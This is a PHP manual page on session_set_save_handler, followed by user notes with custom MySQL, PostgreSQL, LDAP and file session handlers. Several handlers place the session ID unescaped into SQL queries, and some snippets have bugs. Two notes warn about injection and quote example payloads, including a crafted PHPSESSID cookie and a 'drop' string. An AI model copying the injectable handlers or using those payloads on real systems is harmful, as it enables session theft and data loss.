setcookie(session_name(),session_id(), time()+$expiry, "/");

For some reason IE is really sensitive to cookie times. It won't even accept the cookie!!
 This took me quite a while to figureout, for I thoguht it was an IE cookie security issue.
Kato
05-Jan-2003 04:54
Cookies can be set with a long notation expiry time...

Thus, you can use:

"Sat Jan  4 11:55:15 MST 2003"

This has helped me in the past to deal with the clients computer differing in time... since their browser will adjust accordingly.
mail at paul-roberts dot com
22-Dec-2002 10:08
if you want/expect the session to last as long as your cookie then also see
http://www.php.net/manual/sv/function.session-cache-expire.php
shrockc at inhsNO dot SPAMorg
19-Jun-2002 12:19
when setting the path that the cookie is valid for, always remember to have that trailing '/'.

CORRECT:
session_set_cookie_params (0, '/yourpath/');

INCORRECT:
session_set_cookie_params (0, '/yourpath');

no comment on how long it took me to realize that this was the cause of my authentication/session problems...
gavin_spam at skypaint dot com
27-Feb-2002 06:58
The first argument to session_set_cookie_params is the number of seconds in the future (based on the server's current time) that the session will expire.  So if you want your sessions to last 100 days:

$expireTime = 60*60*24*100; // 100 days
session_set_cookie_params($expireTime);

I was using time()+$expireTime, which is WRONG (a lot of the session_set_cookie_params() examples I found get this wrong, but probably don't care because they are just doing "infinite" sessions).
php at mike2k dot com
09-May-2001 05:16
[Editor's Note:

Rasmus' Solution from the PHP-General list:

Just use a session cookie (by not providing an expiry time) and add the
server's expiry timestamp to the value of the cookie.  Then when you get
that cookie sent to you, check it against your server's time and make the
decision on whether to accept the cookie or not based on that.

That way you are immune from people not having their system clocks set
right.

-Rasmus

--zak@php.net]

A couple things I noticed when using this. I think it only works if you set the session_set_cookie_params() function BEFORE the session_start() function.

Also, when you set the "lifetime" on the cookie, it takes the seconds offset from the SERVER. it sends the cookie encoded to timeout at the SERVER time. So if your server is +2 minutes ahead of the client, and you set the cookie to timeout after 30 seconds, the client actually has 2 minutes and 30 seconds before the cookie times out. I don't know if there's any way that this can be patched in future versions, and the only alternative I think is setting cookies in javascript, which is hardly the point when using all these specific session functions.
add a note add a note

后退 | 起点 | 前进
session_save_path | 上一级 | session_set_save_handler


session_set_save_handler

(PHP 4, PHP 5)

session_set_save_handler -- Sets user-level session storage functions

Description

bool session_set_save_handler ( string open, string close, string read, string write, string destroy, string gc )

session_set_save_handler() sets the user-level session storage functions which are used for storing and retrieving data associated with a session. This is most useful when a storage method other than those supplied by PHP sessions is preferred. i.e. Storing the session data in a local database. 如果成功则返回 TRUE，失败则返回 FALSE。

注: The "write" handler is not executed until after the output stream is closed. Thus, output from debugging statements in the "write" handler will never be seen in the browser. If debugging output is necessary, it is suggested that the debug output be written to a file instead.

The following example provides file based session storage similar to the PHP sessions default save handler files. This example could easily be extended to cover database storage using your favorite PHP supported database engine.

Read function must return string value always to make save handler work as expected. Return empty string if there is no data to read. Return values from other handlers are converted to boolean expression. TRUE for success, FALSE for failure.

例子 1. session_set_save_handler() example

<?php
function open($save_path, $session_name)
{
  global $sess_save_path, $sess_session_name;

  $sess_save_path = $save_path;
  $sess_session_name = $session_name;
  return(true);
}

function close()
{
  return(true);
}

function read($id)
{
  global $sess_save_path, $sess_session_name;

  $sess_file = "$sess_save_path/sess_$id";
  if ($fp = @fopen($sess_file, "r")) {
    $sess_data = fread($fp, filesize($sess_file));
    return($sess_data);
  } else {
    return(""); // Must return "" here.
  }

}

function write($id, $sess_data)
{
  global $sess_save_path, $sess_session_name;

  $sess_file = "$sess_save_path/sess_$id";
  if ($fp = @fopen($sess_file, "w")) {
    return(fwrite($fp, $sess_data));
  } else {
    return(false);
  }

}

function destroy($id)
{
  global $sess_save_path, $sess_session_name;

  $sess_file = "$sess_save_path/sess_$id";
  return(@unlink($sess_file));
}

/*********************************************
* WARNING - You will need to implement some *
* sort of garbage collection routine here.  *
*********************************************/
function gc($maxlifetime)
{
  return true;
}

session_set_save_handler("open", "close", "read", "write", "destroy", "gc");

session_start();

// proceed to use sessions normally

?>

See also the session.save_handler configuration directive.

add a note add a note User Contributed Notes
djmaze@cpgnuke cms
21-May-2006 01:51
Since register_shutdown_function() and __destruct() will not work on object based sessions, ESPECIALY when they are database based thru a class, then it seems you're screwed.

Issue:
register_shutdown_function('shutdown_function');
new sql();
new session();

on destruct:
sql __destruct()
session __destruct() // can't call sql since already destroyed
shutdown_function() // can't call instances since already destroyed

A trick is to use an "first class instance"
<?php
class my_proper_destructor
{
   protected $destroyers = array();

   function add($class_instance)
   {
       if (is_class($class_instance))
           $destroyers[] = $class_instance;
   }

   function __destruct()
   {
       foreach($destroyers as $des)
           $des->on_destroy();
   }
}

$destruct = new my_proper_destructor();

// All your code starts here like:
class session
{
   function __construct()
   {
       global $destruct;
       $destruct->add($this);
   }
}

?>

Since my_proper_destructor is created first it also gets destroyed as the first. That way you can still call important class instances that need to do something on destruct.
mjohnson at pitsco dot com
29-Mar-2006 03:04
With regards to the read handler, the docs say:

  "Read function must return string value always to make save
  handler work as expected. Return empty string if there is no
  data to read."

I can't emphasize this enough. I just spent half a day trying to figure out why my sessions weren't storing any information. I was blithely returning the results of a query on the database from the read handler. Since there was no match for the new ID, the result was NULL. Since it wasn't a string, sessions were essentially disabled. So, the safe thing might be something like this:

<?php
function sessRead($id)
{
   // Look up data
   $results = getStuff($id);

   // Make sure it's a string
   settype($results, 'string');
   return $results;
}
?>

Of course, you can do whatever you want with it. But, no matter what, make sure you return a string.

HTH,
Michael
mastabog at hotmail dot com
23-Feb-2006 11:09
In regard to the note dated 28-Jan-2006 09:15 (there is no email) and the webpage it links to.

That is not the way objects should be saved into session. You should not just assign the entire object to $_SESSION['myObj'] and hope for the best while waiting for the script to end and for the php internal engine to serialize your object, call destructors etc.

You should serialize your object beforehand by specifically calling serialize() on your object and assign the serialized string to a session key.

Yeah, You might be wondering if this isn't defeating the whole purpose. It's not. This way you are sure that your object is serialized correctly and don't have to worry about how session handlers mess with it. You now have a string variable to assign wherever you want and you avoid all the mess of session write()/close() being called before object destructors. You also have more control over the state of the object you want to save into session (the serialized object will not reflect changes done to the object after serialization) and will also end up with a code that is more likely to survive over time in case the guys at PHP decide to make other changes to the session functions.

Marcus has recently introduced the Serializable interface (php 5.1.2) which IMO will improve things *a lot* and is the right way to serialize objects. The problem with it though is that it breaks object references in some cases. I already made a bug report here: http://bugs.php.net/bug.php?id=36424

You can mimic the Serializable interface's methods by adding a public method to your classes that assigns serialize($this) to $_SESSION['myObj'] and another static method that acts as a constructor, returning unserialize($_SESSION['myObj']). This way you have even more control for serializing your objects as you can modify your Foo::serialize()/unserialize() methods to perform other tasks as well.

<?php

class Foo
{
   const SESSION_KEY = 'someKeyName';

   // ...
   // other definitions go here
   // ...

   static function unserialize ($key = self::SESSION_KEY)
   {
       return isset($_SESSION[$key]) ? unserialize($_SESSION[$key]) : false;
   }

   public function serialize ($key = self::SESSION_KEY)
   {
       $_SESSION[$key] = serialize($this);
   }
}

$Obj = new Foo();

// do somehting on $Obj here

$Obj->serialize();

// continue until the end of script

?>

When getting your object from session you just do:

<?php

// try getting your obj from session
$Obj = Foo::unserialize();

// and to make sure you do a valid Foo instance:
// (you can also do this inside Foo::unserialize() if you want)
$Obj instanceOf Foo or $Obj = new Foo();

?>

If you need to save multiple instances of the same class then just pass a different parameter to Foo::serialize() and Foo::unserialize(). You can also extend your classes over a class like Foo above and overload the Foo::serialize()/unserialize() methods. Of course, you can do all that without having dedicated methods in your classes (yuck).
29-Jan-2006 01:15
As posted here (http://marc.theaimsgroup.com/?l=php-general&m=113833844422096&w=2) the session module cannot handle objects anymore (tested in 5.1.2).

You have to add

> session_write_close();

at the end of your script to save the object values into the session.

This may indicate general problem. session_write_close() is called in the session module's rshutdown() method, which is much too late: Since 5.1 the zend_object_store is cleaned before the module's rshutdown hook is called.  Furthermore it is not guaranteed that the session module's rshutdown method is called before your module's rshutdown gets called.

In other words: Session shutdown seems to be broken in all PHP versions. It is better to always add session_write_close() to the end of your scripts.  This works with all php versions and it will work with future versions of php whether or not this problem gets fixed.
18-Jan-2006 05:04
function __construct() {
   session_set_save_handler(array(&$this, 'open'),
                             array(&$this, 'close'),
                             array(&$this, 'read'),
                             array(&$this, 'write'),
                             array(&$this, 'destroy'),
                             array(&$this, 'gc'));
   register_shutdown_function('session_write_close');
   session_start();
}
boswachter at xs4all nl
13-Jan-2006 07:37
If you're creating a sessionhandler class, and use a database-class and you are experiencing problems because of destroyed objects when write is called, you can fix this relatively easily:

register_shutdown_function("session_write_close");

This way, the session gets written of before your database-class is destroyed.
stalker at ruun dot de
03-Jan-2006 11:25
object- and mysql-based session-handler, requires the following table:

CREATE TABLE `ws_sessions` (
  `session_id` varchar(255) binary NOT NULL default '',
  `session_expires` int(10) unsigned NOT NULL default '0',
  `session_data` text,
  PRIMARY KEY  (`session_id`)
) TYPE=InnoDB;

<?php
class session {
   // session-lifetime
   var $lifeTime;
   // mysql-handle
   var $dbHandle;
   function open($savePath, $sessName) {
       // get session-lifetime
       $this->lifeTime = get_cfg_var("session.gc_maxlifetime");
       // open database-connection
       $dbHandle = @mysql_connect("server","user","password");
       $dbSel = @mysql_select_db("database",$dbHandle);
       // return success
       if(!$dbHandle || !$dbSel)
           return false;
       $this->dbHandle = $dbHandle;
       return true;
   }
   function close() {
       $this->gc(ini_get('session.gc_maxlifetime'));
       // close database-connection
       return @mysql_close($this->dbHandle);
   }
   function read($sessID) {
       // fetch session-data
       $res = mysql_query("SELECT session_data AS d FROM ws_sessions
                           WHERE session_id = '$sessID'
                           AND session_expires > ".time(),$this->dbHandle);
       // return data or an empty string at failure
       if($row = mysql_fetch_assoc($res))
           return $row['d'];
       return "";
   }
   function write($sessID,$sessData) {
       // new session-expire-time
       $newExp = time() + $this->lifeTime;
       // is a session with this id in the database?
       $res = mysql_query("SELECT * FROM ws_sessions
                           WHERE session_id = '$sessID'",$this->dbHandle);
       // if yes,
       if(mysql_num_rows($res)) {
           // ...update session-data
           mysql_query("UPDATE ws_sessions
                         SET session_expires = '$newExp',
                         session_data = '$sessData'
                         WHERE session_id = '$sessID'",$this->dbHandle);
           // if something happened, return true
           if(mysql_affected_rows($this->dbHandle))
               return true;
       }
       // if no session-data was found,
       else {
           // create a new row
           mysql_query("INSERT INTO ws_sessions (
                         session_id,
                         session_expires,
                         session_data)
                         VALUES(
                         '$sessID',
                         '$newExp',
                         '$sessData')",$this->dbHandle);
           // if row was created, return true
           if(mysql_affected_rows($this->dbHandle))
               return true;
       }
       // an unknown error occured
       return false;
   }
   function destroy($sessID) {
       // delete session-data
       mysql_query("DELETE FROM ws_sessions WHERE session_id = '$sessID'",$this->dbHandle);
       // if session was deleted, return true,
       if(mysql_affected_rows($this->dbHandle))
           return true;
       // ...else return false
       return false;
   }
   function gc($sessMaxLifeTime) {
       // delete old sessions
       mysql_query("DELETE FROM ws_sessions WHERE session_expires < ".time(),$this->dbHandle);
       // return affected rows
       return mysql_affected_rows($this->dbHandle);
   }
}
$session = new session();
session_set_save_handler(array(&$session,"open"),
                         array(&$session,"close"),
                         array(&$session,"read"),
                         array(&$session,"write"),
                         array(&$session,"destroy"),
                         array(&$session,"gc"));
session_start();
// etc...
?>
cthree at s2ki dot com
26-Dec-2005 12:53
In reply to rudy dot metzger at pareto dot nl:

One option to work around this problem is to instantiate your database connection from within session class:

class Session {
  public $db;

  public function open( $path, $name ) {
   $this->db = mysql_connect(...); // or whatever works
   return true;
  }

  ...

  public function close() {
   mysql_close( $this->db ); // or whatever works
   return true;
  }
}

$session = new Session;
session_set_save_handler(
  array(&$session, "open"),
  ...
  array(&$session, "close"),
  ...
  );
session_start();
$db =& $session->db;
...

HTH
bachir
05-Dec-2005 02:48
php doesn't make any checks about PHPSESSID cookie format, it is then important to verify cookie format before making any sql request.

if your read session request is :
SELECT DataValue FROM sessions WHERE SessionID='$aKey'

this generic cookie could succeed to access others session: PHPSESSID=1' OR SessionID LIKE '%>>

for safety, you can make this verification before sql request:
if (! preg_match('/^([0-9a-f]{32})$/i',$aKey)) return NULL;

hope this can be helpful
frank at ethisoft dot nl
09-Nov-2005 10:48
REPLY TO >>>>> Keamos at gmail dot com [ 23-Oct-2005 10:34 ]

I would like to mention that there is a major flaw in your implementation:
I'll explain:

look at the 1st line:
$sessionLifetime = get_cfg_var("session.gc_maxlifetime");

then look at the write function in short:
global $db, $sessionLifetime;
$expiry = time() + $sessionLifetime;
$sql = 'SELECT `expiry` FROM ' . SESSIONS_TABLE . " WHERE `sessionid`=$sessionid";
if(null === $sql)
{
         $sql = 'INSERT INTO ' . SESSIONS_TABLE . " (`sessionid`, `expiry`, `value`) VALUES ($sessionid, $expiry, $sessionData)";
}
else
{
         $sql = 'UPDATE `' . SESSIONS_TABLE . "` SET `expiry`=$expiry, `value`=$sessionData WHERE `sessionid`=$sessionid";
}

then look at the garbage function in short:
$sql = 'DELETE FROM ' . SESSIONS_TABLE . " WHERE expiry < $time";

if you look carefully you will see this in the write function:
$expiry = time() + $sessionLifetime;
and this in the garbage function:
'DELETE FROM ' . SESSIONS_TABLE . " WHERE expiry < $time";

to be short, your session will never be destroyed except when you explicitly call the destroy function!

have a nice 1...
Jaik
03-Nov-2005 12:01
I have something to add to the note from rudy dot metzger at pareto dot nl.

As objects are being destroyed before sessions are written as of PHP 5.0.5, we can use a __destruct() method to call session_write_close() in a class-based session handler.

It is possible for your session handling class to use other objects. It's just a matter of calling session_write_close() at the end of your script, rather in a __destruct() method.

eg.

<?php

echo "You've been to this page " . $oSession->hits . " times before";

$oSession->hits++;

session_write_close();

?>

It's generally best to make declare a function in your common include file(s) that is called at the end of every script on your site. That way you can do any cleanups you need, and also call session_write_close().
Keamos at gmail dot com
23-Oct-2005 04:34
Here's a set of session-handling functions that uses PEAR::DB  and a database to store the php sessions. The only assumption I make is your PEAR::DB object is called $db.

mySQL:
CREATE TABLE `sessions` (
  `sessionid` varchar(40) binary NOT NULL default '',
  `expiry` int(10) unsigned NOT NULL default '0',
  `value` text NOT NULL,
  PRIMARY KEY  (`sessionid`)
) TYPE=MyISAM COMMENT='Sessions';

<?
   $sessionLifetime = get_cfg_var("session.gc_maxlifetime");

   function _openSession($savePath, $id)
   {
       //We don't need to create any new file handles, et cetera
       return TRUE;
   }

   function _closeSession()
   {
       //We don't need to close any file handles, et cetera
       return TRUE;
   }

   function _readSession($sessionid)
   {
       global $db, $sessionLifetime;

       $sessionid = $db->quoteSmart($sessionid);
       $time = time();

       $sql = 'SELECT `value` FROM ' . SESSIONS_TABLE . " WHERE `sessionid`=$sessionid AND `expiry` > $time";
       $result = $db->getOne($sql);

       if (PEAR::isError($result))
       {
           //Must return "" because php.net says so
           return "";
       }
       else
       {
           return $result;
       }

       //Something slipped through the cracks, so throw an error
       return "";
   }

   function _writeSession($sessionid, $sessionData)
   {
       global $db, $sessionLifetime;

       $expiry = time() + $sessionLifetime;
       $sessionid = $db->quoteSmart($sessionid);
       $sessionData = $db->quoteSmart($sessionData);

       $sql = 'SELECT `expiry` FROM ' . SESSIONS_TABLE . " WHERE `sessionid`=$sessionid";
       $result = $db->getOne($sql);

       if ($result === NULL)
       {
           $sql = 'INSERT INTO ' . SESSIONS_TABLE . " (`sessionid`, `expiry`, `value`) VALUES ($sessionid, $expiry, $sessionData)";
           $result = $db->query($sql);

           if (PEAR::isError($result))
           {
               //error of some sort
               return FALSE;
           }

           return TRUE;
       }
       else
       {
           $sql = 'UPDATE `' . SESSIONS_TABLE . "` SET `expiry`=$expiry, `value`=$sessionData WHERE `sessionid`=$sessionid";
           $result = $db->query($sql);

           //Something went wrong
           if (PEAR::isError($result))
           {
               return FALSE;
           }

           return TRUE;
       }

       //Something slipped through, so throw an error
       return FALSE;
   }

   function _destroySession($sessionid)
   {
       global $db;

       $sessionid = $db->quoteSmart($sessionid);
       $sql = 'DELETE FROM ' . SESSIONS_TABLE . " WHERE `sessionid`=$sessionid";
       $result = $db->query($sql);

       if (!PEAR::isError($result))
       {
           return TRUE;
       }

       return FALSE;
   }

   function _gcSession($maxlifetime)
   {
       global $db;

       $time = $db->quoteSmart(time());
       $sql = 'DELETE FROM ' . SESSIONS_TABLE . " WHERE expiry < $time";
       $result = $db->query($sql);

       if (PEAR::isError($result))
       {
           return 0;
       }

       return $db->affectedRows();
   }

   session_set_save_handler("_openSession", "_closeSession", "_readSession", "_writeSession", "_destroySession", "_gcSession");
?>
rudy dot metzger at pareto dot nl
21-Sep-2005 09:18
NOTE: as from php-5.0.5, objects are destroyed BEFORE the session_write() is called! So if you use an object as custom session handler, your writes will fail, as at the moment of write the object is already destroyed. A workaround for this is to use session_write_close() in the __destruct() of the object. This however only works if you do not need any other objectes, as these already might be gone! I only hope that object are destroyed in "descening" order, as if you would have a DB object in the session handler object which handles the DB connects, you would have to use __destruct() also in this object. otherwise your session object is still alive but your DB is long gone...

I raised a bug for this already but it is claimed that this is no bug.

This only applies to versions 5.0.5 (and possibly higher)
kevin at insuremytrip dot com
26-Aug-2005 04:34
When creating a session-handling class, I have discovered that it is important to remember that your session object and the $_SESSION global are TWO SEPARATE ENTITIES. You need to create a reference between your Session Object and the built-in $_SESSION global:

session_set_save_handler(
 array(&$this, "_OPEN"),
 array(&$this, "_CLOSE"),
 array(&$this, "_READ"),
 array(&$this, "_WRITE"),
 array(&$this, "_DESTROY"),
 array(&$this, "_GC")
);

session_start();
header("Cache-control: private"); // to overcome/fix a bug in IE 6.x

$this->session    =& $_SESSION;

Additionally, when you add a $_SESSION variable, it's a good idea to add it as a Session Object variable at the same time, if you want your code to use the Session Object between page changes/reloads:

function setSessionVariable($key,$value) {
   $_SESSION[$key] = $value;
   $this->session[$key] = $value;
   return;
}
ccav at maxbaud dot net
21-Aug-2005 07:35
Ok, after much hairpulling, I've figured out a successful way to store objects in a session using a postgresql savehandler.

function write ($id, $sess_data)
{
  global $sql;  // my global db connection object
  $sess_data = @pg_escape_bytea(serialize($sess_id)); //works with any type
  $sql->Query("delete from sessions where sessionid = '$id'"); // delete old session record
  $sql->Query("insert into sessions (sessionid,datavalue) values ('$id', '$sess_data')");  //insert into session table
  return true;
}

function read ($id)
{
  global $sql;
  $result=$sql->Query("select * from sessions where sessionid = '$id'");
  if ($sql->rows==1) {
   $row=$sql->Fetch(0);
   $rval = unserialize(@pg_unescape_bytea($sql->data[2]));
   return $rval;
  } else {
   return "";
  }
}

Make the datavalue column (the one used to store the actual session data) in the sessions table type bytea.

The problem apparently lies in the PHP serialize for objects, where there is a CR/LF inserted between the object id and the property array.  The CR/LF isn't escaped, and causes a fit for postgresql.

Any data type in PHP can be serialized, so there's no need to distinguish between types.

The object is fully restored, with methods.
Ysu
01-Aug-2005 02:33
if you have the problem [markus at fischer dot name]
mentioned earlier with the "Failed to initialize storage module" error (I do), you can simply call session_set_save_handler() again after the  session_write_close() and before another session_start() as a temp. workaround...
Scott P.
18-Jul-2005 07:55
Reference to the ldap implementation above: I'd strongly suggest against using ldap to store sessions, as an ldap server is designed specifically to serve data that changes rarely (compared to a database). While an ldap server is quick to retreive data, it has a very slow update time. So using this to store constantly changing data will kill a moderately busy website in next to no time!
niklas at removethisandthedot dot bivald dot com
16-Jul-2005 08:29
Many people are using session_set_save_handler to store the session in a session database, which ofcourse is both valid and smart since it (could) increas security.

What many people forgets, is that session ids can easily be edited by a user as he see fit (by editing a session_cookie for example*)

* If you like to play around to test your site, check Add n edit Cookies extension for firefox.

This might not be a big deal when saving them in a file, since the worst thing that may happen is that the user losts his session and a new one is generated. But when saving to an DB it is*. One should never trust that the server itself add slashes and escapes other vital characters.

* A google search for "SQL Injection" gives 716 000 hits.

Example code, none working:
<?PHP

   function read ($session_id)
   {
       $sql        = mysql_query("SELECT * FROM mysessions WHERE session_id=$session_id");
       $data= mysql_fetch_array($sql);

       }
   }

?>

Is obviously flawed. Since setting our session ID to "; drop mysessions; " would create serious problems.

A more suitable approch would be, something in the lines of:

Example code, none working:
<?PHP

   function read ($session_id)
   {

   // ( Code by php.net )
   if (get_magic_quotes_gpc()) {
       $session_id = stripslashes($session_id);
   }
   // Quote if not integer
   if (!is_numeric($session_id)) {
       $session_id = mysql_real_escape_string($session_id);
   }

       $sql        = mysql_query("SELECT * FROM mysessions WHERE session_id=$session_id");
       $fieldarray = mysql_fetch_array($sql);

       }
   }

?>

I quick checked different sample codes and tutorials and none of them actually escaped session ids.

That's my two cents for too night,
Niklas
korvus at kgstudios dot net
11-Jun-2005 08:34
It seems when you call 'session_name()', php loads the session id automatically from GET ( if the index exists ) and passes it to the 'read' callback method correctly, but the 'write' callback is invoked twice: first the auto-generated session id, then the custom session id

So be aware of what queries you execute inside the callback .. I got crazy because I used a MySQL 'REPLACE' statement to agilize, and I spent a lot of hours trying to understand why 2 rows instead of 1 were being affected ( the first id was inserting, the second updating )

I hope this helps!
Robert Chapin
07-May-2005 05:09
Session authentication is not meant to be part of the session handlers.

These handlers only read and write the session data itself, and will not allow you to call the vital function session_regenerate_id().

To add extra authentication routines, call them after session_start returns control.  DO NOT put them in your 'open' or 'read' handlers.

Enjoy,
-- Miqro
markus at fischer dot name
16-Mar-2005 05:07
Note that there's a bug with custom session handlers and when you want to start a session again after you have called session_destroy.

session_destroy disables the custom session_handler and this a call to session_start after it will fail with "Failed to initialize storage module".

See http://bugs.php.net/32330 for more information and a workaround.
oliver at teqneers dot de
03-Feb-2005 07:44
For some people it might be important to know, that if the standard session handler has been overwritten with session_set_save_handler, no locking is working anymore (between session_read and session_write). The following might happen:

script "A" start        .
read session data        .
.                        script "B" start
.                        read session data
running (30secs)        add session data
.                        write sesion data
.                        script "B" stop
write session data      .
script "A" stop          .

If a script "A" runs for a long time (say 30secs) the same user might start another script "B", which also uses a session. Script "B" will start and read session data, even though script "A" is still running. Because script "B" is much faster it will finish its work and write back its session data before script "A" has ended. Now script "A" ends and overwrites all of script "B"'s session data. If you DON'T use session_set_save_handler, this cannot happend, because in this case, PHP will not start script "B" until script "A" ends.
Balu
20-Sep-2004 06:26
If a session is closed the save-handlers seem to be resetted (in PHP 4.1.2 they are), so you need to run session_set_save_handler() again after e.g. running session_write_close() and restarting the session with session_start();
Ido <ido+code at cs dot uchicago dot edu>
09-Jul-2004 11:51
Encrypted Sessions:  For those who are either sending their session data in the clear (i.e.: MySQL connections without SSL), or who have sensitive data stored in sessions (such as credit card information!) and wish to protect their users.

I have placed a link to a very crude example of session data encryption for MySQL-based session handling below:

http://www.cs.uchicago.edu/~ido/session_include_php.txt

I apologize if the code is a bit sloppy.  I might release some of my better code for this kind of thing if I have time to delete any site-specific references from that code.

Donate to my college education:)
http://www.cs.uchicago.edu/~ido/donate.php

Motivation: While most online merchants do not store personal or credit card information in plaintext, most use standard sessions provided by PHP or other database session handlers which store session data in the clear.  Most shopping cart solutions store very sensitive data in session variables.

I hope I can convince more of my fellow web developers to make the minimal effort to protect privacy and confidentiality of user data by encrypting session data prior to storage. All sites developed (even in part) by me feature session data encryption, most of which feature automatic monthly regeneration of random encryption keys (and flawless auto-rollover to the new keys).

In practice, you would probably want to store the symmetric key in a safer location, such as in your Apache config file as a PHP global variable.  Regardless, encryption should be a minimal precaution when sensitive data (session data, for example) is sent across a network -- such as when your database and web servers are on different hosts, or when your database server is on a machine which you cannot ensure is secure.
dolan at unt dot edu
10-Jun-2004 04:23
This is an LDAP implementation that I wrote which works just fine for me.  This assumes you've got some global variables with your host and other info.  It also uses a custom error function which I have not defined here.  Also, it assumes your LDAP server is set up with correct permissions, objectclass, and all that.  I used an octet string in LDAP to hold the session data.  I had to manually wrap some of this so be careful with cutting and pasting.

$sessconn=null;
//Custom session handling stored in local LDAP
function ldap_sess_open($save_path,$session_name) {
   global $infohost,$infoport,$infodn,$infopw,$sessconn;
   $sessconn=@ldap_connect($infohost,$infoport);
   if(!@ldap_bind($sessconn,$infodn,$infopw)) {
   setError("Failed to open session.");
   return false;
   }
   return true;
}

function ldap_sess_close() {
   global $sessconn;
   @ldap_close($sessconn);
   return true;
}

function ldap_sess_read($id) {
   global $sessconn;
   $sr=@ldap_search($sessconn,'ou=sessions,o=Company',
"(cn=$id)");
   $info=@ldap_get_entries($sessconn,$sr);
   if($info['count']>0)
   return $info[0]['session'][0];
   else
   return "";
}

function ldap_sess_write($id,$sess_data) {
   global $sessconn;
   $update=array();
   $update['objectClass']=array('phpsession','top');
   $update['session']=$sess_data;
   $dn="cn=$id,ou=sessions,o=Company";
   @ldap_delete($sessconn,$dn);
   @ldap_add($sessconn,$dn,$update);
   return true;
}

function ldap_sess_destroy($id) {
   global $sessconn;
   $dn="cn=$id,ou=sessions,o=Company";
   @ldap_delete($sessconn,$dn);
   return true;
}

function ldap_sess_gc($maxlifetime) {
   global $sessconn;
   $sr=@ldap_search($sessconn,'ou=sessions,o=Company',
'(objectClass=phpsession)',array('+','cn'));
   $info=@ldap_get_entries($sessconn,$sr);
   if($info['count']>0) {
   for($i=0;$i<$info['count'];$i++) {
       $id=$info[$i]['cn'][0];
       $dn="cn=$id,ou=sessions,o=Company";
       $modified=stamp2local($info[$i]['modifytimestamp'][0]);
       if((time()-$modified)>=$maxlifetime)
       @ldap_delete($sessconn,$dn);
   }
   }
   return true;
}

//converts my LDAP timestamps over to Unix timestamps
function stamp2local($ldapstamp) {
   $year=substr($ldapstamp,0,4);
   $month=substr($ldapstamp,4,2);
   $day=substr($ldapstamp,6,2);
   $hour=substr($ldapstamp,8,2);
   $minute=substr($ldapstamp,10,2);
   $stamp=gmmktime($hour,$minute,0,$month,$day,$year);
   return $stamp;
}

//Use this so that if your LDAP server goes down people can still
//retain sessions the normal way
$checkds=@ldap_connect($infohost,$infoport);
if(@ldap_bind($checkds,$infodn,$infopw)) {
   session_set_save_handler("ldap_sess_open","ldap_sess_close",
"ldap_sess_read","ldap_sess_write","ldap_sess_destroy",
"ldap_sess_gc");
}
@ldap_close($checkds);
Monty
08-Apr-2004 06:03
It's really important to apply addslashes() to the serialized values passed to your custom session Write handler if you are using MySQL for storing sessions, even if you have magic_quotes turned on. Otherwise, values stored in $_SESSION will not be saved with the actual session in MySQL, or will be truncated.

<?
function sessWrite($key, $val) {

   $val = addslashes($val);

   // Now do your database insert here.

   return TRUE;
}
?>

Without addslashes(), the above handler would simply not work, and you will get no error back from PHP about it either.
turan yilmaz
05-Apr-2004 11:04
I found a very good written custom session handling code from:http://www.zend.com/zend/spotlight/code-gallery-wade8.php
16-Mar-2004 08:41
@andrew at netrux dot com

never forget: always add escaping when building sql strings.
mysql_escape_string() / pg_escape_string() or whatever is your friend.
tonanbarbarian at hotmail dot com
04-Dec-2003 02:30
I found the need to have a garbage collection function run with my sessions so I had to write my own session handler.

I took the example code above but found that it had a problem, it does not open the session file exclusively.
This means that if you have a frameset where 2 pages are accessing the session at the same time and both modify the session only the last page to finish processing will have its session data saved. The first page will have all of its session data overwritten.

So here is a modified version of a file session handler in PHP that has file locking. (Not supported on FAT or NFS apparently)

$sess_save_path = $sess_session_name = $fp=null;
function open ($save_path, $session_name) {
  global $sess_save_path, $sess_session_name;

  $sess_save_path = $save_path;
  $sess_session_name = $session_name;
  return(true);
}

function close() {
  global $fp;
  flock($fp, LOCK_UN);
  fclose($fp);
  $fp=null;
  return(true);
}

function read ($id) {
  global $sess_save_path, $sess_session_name, $fp;

  $sess_file = "$sess_save_path/sess_$id";
  if ($fp = @fopen($sess_file, "r+")) {
   flock($fp, LOCK_EX);
   $sess_data = fread($fp, filesize($sess_file));
   return($sess_data);
  } else {
   return(""); // Must return "" here.
  }

}

function write ($id, $sess_data) {
  global $sess_save_path, $sess_session_name, $fp;

  $sess_file = "$sess_save_path/sess_$id";
  if (!empty($fp)) {
   fseek($fp,0);
   return(fwrite($fp, $sess_data));
  } elseif ($fp = @fopen($sess_file, "w")) {
   flock($fp, LOCK_EX);
   return(fwrite($fp, $sess_data));
  } else {
   return(false);
  }
}

function destroy ($id) {
  global $sess_save_path, $sess_session_name;

  $sess_file = "$sess_save_path/sess_$id";
  return(@unlink($sess_file));
}

function gc ($maxlifetime) {
   global $sess_save_path, $sess_session_name;

  $sess_file = "$sess_save_path/sess_$id";
  return true;
}

session_set_save_handler ("open", "close", "read", "write", "destroy", "gc");

enjoy
coco at digitalco2 dot com
24-Nov-2003 07:59
When using mySQL for your session handling functions, don't forget to call mysql_select_db() to change the database if you are using a separate database for your session data. Call mysql_select_db() INSIDE every handler function that accesses the database, since if you write session data after accessing another database, it will not change the database to your session database, and therefore, not write the session data.
andrew at netrux dot com
22-Oct-2003 09:15
For those interested in a postgresql version.  Seems to work but dont come crying to me when it eats your pistachio nuts!

<?

Derived from php file version on website, changes copyright andrew@netrux.com.

/*

create table sessions(
sessionid    char(255) primary key not null,
lastupdated  timestamp not null,
datavalue    text);

*/

function open ($save_path, $session_name) {
  $sess_conn=pg_connect("host=localhost dbname= user=postgres")
   or die ("PostgreSQL error: --> " . pg_last_error($sess_conn));
  return(true);
}

function close() {
  return(true);
}

function read ($id) {
  $result=pg_query("select * from sessions where sessionid = '$id'")
   or die ("PostgreSQL error: --> " . pg_last_error($sess_conn));
  if (pg_num_rows($result)==1) {
   $row=pg_fetch_array($result);
   return($row[2]);
  } else {
   return("");
  }
}

function write ($id, $sess_data) {
   pg_query("delete from sessions where sessionid = '$id'")
     or die ("PostgreSQL error: --> " . pg_last_error($sess_conn));
   pg_query("insert into sessions(sessionid,lastupdated,datavalue) values('$id','now'::timestamp,'$sess_data')")
     or die ("PostgreSQL error: --> " . pg_last_error($sess_conn));
   return(true);
}

function destroy ($id) {
  pg_query("delete from sessions where sessionid = '$id'")
   or die ("PostgreSQL error: --> " . pg_last_error($sess_conn));
  pg_close($sess_conn);
  return(true);
}

/*********************************************
 * WARNING - You will need to implement some *
 * sort of garbage collection routine here.  *
 *********************************************/
function gc ($maxlifetime) {
  return true;
}

session_set_save_handler ("open", "close", "read", "write", "destroy", "gc");

?>
